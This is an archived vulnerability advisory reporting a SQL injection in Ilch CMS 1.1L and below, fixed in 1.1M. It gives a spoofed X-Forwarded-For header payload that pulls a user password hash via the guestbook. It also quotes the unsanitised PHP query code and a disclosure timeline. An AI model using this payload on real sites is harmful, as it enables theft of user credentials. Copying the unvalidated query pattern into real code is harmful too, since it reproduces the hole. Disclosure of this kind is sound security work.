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TUCoPS :: Web :: CMS / Portals :: va2541.htm

Ilch CMS



Vulnerable: Ilch CMS
Vulnerable: Ilch CMS



Ilch CMS (from http://ilch.de) is vulnerable to sql-injection 

Prone to the vulnerabilty are the guestbook and the statistics.

- Affected Versions: ilch 1.1L and below
- Not vulnerable: ilch 1.1M

- Exploit: Spoof your x-forwarded-for header to:

            127.0.0.1', (select `pass` from prefix_user WHERE `id` > 0  
ORDER BY `id` LIMIT 1)) /*

            Then create a guestbook entry.

- Timeline:
     3.Feb.09: Vuln reported to ilch.de
     3.Feb.09: Got reply from ilch
     4.Feb.09: Version 1.1M is available which fixes the issue



Here is a summary of the vulnerability:

# in include/includes/func/statistics.php is missing user input  
sanitization:

function getip() {
   if ($_SERVER["HTTP_X_FORWARDED_FOR"]) {
      return ($_SERVER["HTTP_X_FORWARDED_FOR"]);
   } else {
      return ($_SERVER["REMOTE_ADDR"]);
   }
}

# in include/contents/gbook.php getip() is used without validation

db_query("INSERT INTO prefix_gbook  
(`name`,`mail`,`page`,`time`,`ip`,`txt`) VALUES ('".$name."', '".$mail."',  
'".$page."', '".time()."', '".getip()."', '".$txt."')");

# There is also getip() used in includes/func/user.php, but its way harder  
to exploit:

db_query("INSERT INTO prefix_online (sid,uptime,ipa) VALUES  
('".session_id()."',now(),'".getip()."')");



Please credit the discovery to Gizmore from wechall.net :)

Kind Regards
Gizmore


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